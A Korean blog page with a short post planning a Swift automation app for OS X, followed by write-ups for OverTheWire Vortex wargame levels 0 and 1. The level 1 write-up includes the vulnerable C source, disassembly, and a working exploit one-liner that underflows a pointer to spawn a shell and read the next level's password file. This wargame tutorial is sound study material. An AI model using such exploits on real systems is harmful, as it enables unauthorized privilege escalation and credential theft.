2015. 3. 20. 07:35

Swift

개인적으로 Swift의 호환성은 굉장히 뛰어난 편이라고 생각한다.

우선 기본적으로 Objective-C와의 호환은 두말할것도 없이 굉장히 좋은 편이다. Swift와 크로스컴파일이 자연스럽게 되기 떄문에 무난히 Swift와 함꼐 사용할 수 있다.

또한, C/C++ 또한 의외로 Swift와 자연스럽게 사용 가능한데, 이는 Objective-C가 C/C++를 함께 사용 가능했던 점을 조금만 응용하면 된다. 

C/C++ 클래스를 만들고, 이를 Objective-C를 이용해서 wrapper를 만들고 나면 swift에서도 사용 가능하게 된다.

어찌됬건, 이렇게 호환성도 뛰어난 Swift를 사용하지 않고 썩혀두는건 조금 아까운 일이라고 생각했기 때문에, 이를 조금 더 응용해보기로 생각했다.

여러가지 잡다한 것들을 만들어보면서 Swift의 기본적인 개념 자체는 다 이해했기 떄문에, Swift만으로도 무난히 프로그램을 만들 수 있을 것이라고 판단되었다.


AutomateAll

AutomateAll 프로그램은 말그대로 마우스, 키보드 동작을 자동화 해주는 프로그램이 될 것이다.

물론, iPhone 어플리케이션이 아닌, OS X용 어플리케이션이 될 것이다.

Windows에서 널리 쓰이는 오토마우스와 같은 기능을 한다고 보면 될 것 같다.

여러가지 특이한 Cocoa 클래스들을 사용해볼 수 있을것 같아서 이러한 프로그램을 선택하게 되었다.

지금까지 연습을 하면서, Swift로 쓰기 힘들다고 판단되는 부분은 Objective-C로 작성해서 사용해왔지만, 이번에는 처음부터 끝까지 순수하게 Swift를 사용해서 해볼 생각이다.

혹시나 C/C++를 사용하게 될 경우에 한해서 Objective-C가 등장하게 될 것이다.


Posted by KCBS
2014. 8. 5. 07:05

Level 1

/*
 * vortex1.c
 */
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}


분석

우선 vortex1.c 파일을 분석해봅시다.

print 함수는 별거 없이 그냥 현재 buf 변수 내의 값을 hex값으로 출력하는 함수 입니다.

그리고 main을 보면 EOF가 나올때까지 stdin에서 값을 입력받으면서, 입력된 문자 종류에 따라서 세가지 다른 명령을 실행합니다.

1. "\n" (newline character): 현재 "buf"의 값을 프린트합니다.

2. "\\" ('\' character): ptr의 포인터 를 한칸 앞으로 보냅니다.

3. default: 우선 e() 매크로 함수를 실행하고 현재의 ptr에 입력된 값을 넣은 후, ptr를 한칸 뒤로 보냅니다.


이제 프로그램의 구조를 살펴봅시다.

ptr는 buf + (sizeof(buf)), 즉 buf + 256에서 시작합니다.

현재의 스택 구조를 유추해보면

+-------------------------------------------------------------------------------------------------------------+

 |   x (4 bytes)   |   ptr (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+

variable이 생성된 순서로 유추해봤을때, 이런 구조라고 생각됩니다.

vortex0에서 봤듯이, vortex 서버는 little-endian 형식을 사용중입니다.


이제 문제의 풀이법을 봅시다.

e() 매크로 함수를 보면, (ptr & 0xFF000000)의 값이 0xCA000000일 경우, vortex2의 쉘이 실행됩니다.

little-endian 형식이므로, buf에 가까운 두자리를 바꿔주면 되겠습니다.


풀이

이제 우리가 할 일은 간단합니다.

'\' 문자를 계속 입력해서 ptr 변후의 주소까지 이동한 후, 0xCA를 입력해주면 됩니다.

초기 ptr의 위치는 buf + 256이므로, 우선 '\' 문자를 256번 입력하면 ptr는 buf를 가르키게 됩니다.

'\'를 256번 입력해주기 위해서 python을 사용하도록 하겠습니다.

vortex1@melinda:~$(python -c 'print "\\" * 256 + "A"') | /vortex/vortex1

이제 출력된 buf의 값을 확인해보면 buf의 첫번째 값이 0x41, 즉 "A"로 변경된 것을 볼 수 있습니다.

이제 ptr값을 바꾸기 위해서 '\'문자를 한번 더 입력한 후, "A" 대신에 "\xca"를 입력해서 ptr 안에 0xca를 입력해줍시다. 그리고 그 뒤에 아무 문자를 한개 더 입력해서 e() 매크로 함수를 실행시키면 shell이 실행될 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 257 + "\xcaA"') | /vortex/vortex1

그런데 어떻게 된 일인지 shell이 실행되지 않고 buf의 내용이 출력되기만 합니다.

우리가 생각했던 스택 구조가 잘못된 것 같습니다.

objdump를 사용해서 어셈블리 코드를 보도록 하겠습니다.

vortex1@melinda:~$objdump -d --no-show-raw-insn /vortex/vortex1

결과:

...
08048577 <main>:
 8048577:	push   %ebp
 8048578:	mov    %esp,%ebp
 804857a:	push   %esi
 804857b:	push   %ebx
 804857c:	and    $0xfffffff0,%esp
 804857f:	sub    $0x220,%esp
 8048585:	mov    %gs:0x14,%eax
 804858b:	mov    %eax,0x21c(%esp)
 8048592:	xor    %eax,%eax
 8048594:	lea    0x1c(%esp),%eax		# buf
 8048598:	add    $0x100,%eax
 804859d:	mov    %eax,0x14(%esp)		# ptr
 80485a1:	jmp    8048643 <main+0xcc>
 80485a6:	mov    0x18(%esp),%eax		# x
 80485aa:	cmp    $0xa,%eax
 80485ad:	je     80485b6 <main+0x3f>
 80485af:	cmp    $0x5c,%eax
 80485b2:	je     80485cc <main+0x55>
 80485b4:	jmp    80485d3 <main+0x5c>
 80485b6:	movl   $0x200,0x4(%esp)
 ...

highlight된 부분이 각각 buf, ptr, x 변수들의 선언 부분입니다. 그런데 주소를 자세히 보면 아시겠지만 스택의 주소값이 x, ptr, buf의 순서가 아닌 ptr, x, buf의 순서입니다.

이 정보를 통해서 알게된 스택의 구조를 시각화해보면 아래와 같이 됩니다.

+-------------------------------------------------------------------------------------------------------------+

 |   ptr (4 bytes)   |   x (4 bytes)   |                        buf (512 bytes)                                 |

+-------------------------------------------------------------------------------------------------------------+


즉, \\의 개수가 우리가 처음 생각한 257개가 아니라 4개를 더 더한 261개여야 한다는 것입니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"') | /vortex/vortex1

buf의 값이 출력되지 않는 것을 보니까  e() 메크로함수으 ㅣ조건은 만족한 듯 하지만, shell이 바로 실행되자마자 꺼져버려서 아무것도 입력할 수 없습니다.

이를 해결하기 위해 cat을 이용해서 실행된 shell에 값을 계속 입력할 수 있게 만들어줍니다.

vortex1@melinda:~$(python -c 'print "\\" * 261 + "\xcaA"' ; cat) | /vortex/vortex1
whoami
vortex2
cat /etc/vortex_pass/vortex2
*********

이렇게 얻은 password를 이용해서 vortex2 계정에 로그인 할 수 있습니다.

Posted by KCBS
2014. 8. 5. 04:56

Level 0

Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.

Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)



Translation

vortex.labs.overthewire.org의 5842번 포트에 연결해서 4개의 unsigned integer들을 차례로 읽어내는 것이 목표입니다. 그리고 그 integer들을 더해서 다시 호스트로 보내서 username과 password를 알아낼 수 있습니다. 그 정보를 이용해서 ssh에 접속할 수 있습니다.

Note: vorvex 서버는 32비트 x86 머신을 사용중입니다. (little endian 아키텍쳐)



풀이

우선 vortex 서버에 연결하기 위한 프로그램을 짜야 합니다.

socket 통신을 할 수 있는 모든 언어로 풀이 가능합니다.

여기서는 python을 사용해서 풀어보겠습니다.


일단 socket을 이용해서 vortex.labe.overthewire.org:5842에 연결해줍니다.

from socket import *
from struct import * #for unpack()

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(("vortex.labs.overthewire.org", 5842))


그리고, 4개의 정수를 읽어오고 더해줍시다.

from socket import *
sum = 0

for i in range(4): #loop 4 times
    data = sock.recv(4) # 서버로부터 4바이트 읽기
    sum += unpack("<I", data)[0]


서버는 little-endian 형식의 머신을 사용중이기 때문에 받아온 data를 "<I"를 사용하여 unsigned integer 형식으로 풀어준 후, sum에 더해줍니다.

이렇게 만들어진 sum을 다시 vortex 서버로 보내줍시다.

sock.send(pack("<I", (sum & 0xFFFFFFFF)))
print sock.recv(512)
sock.close()

우선 만들어진 sum 값을 8자리 hex 값으로 변환한 후, little-endian unsigned integer 형식으로 pack해줍니다.

그리고 sock.send를 사용하여 서버로 전송하면 서버가 username과 password를 응답해줍니다.


만들어진 python 파일을 실행하면 vortex level 1의 username과 password를 받아올 수 있습니다.



Posted by KCBS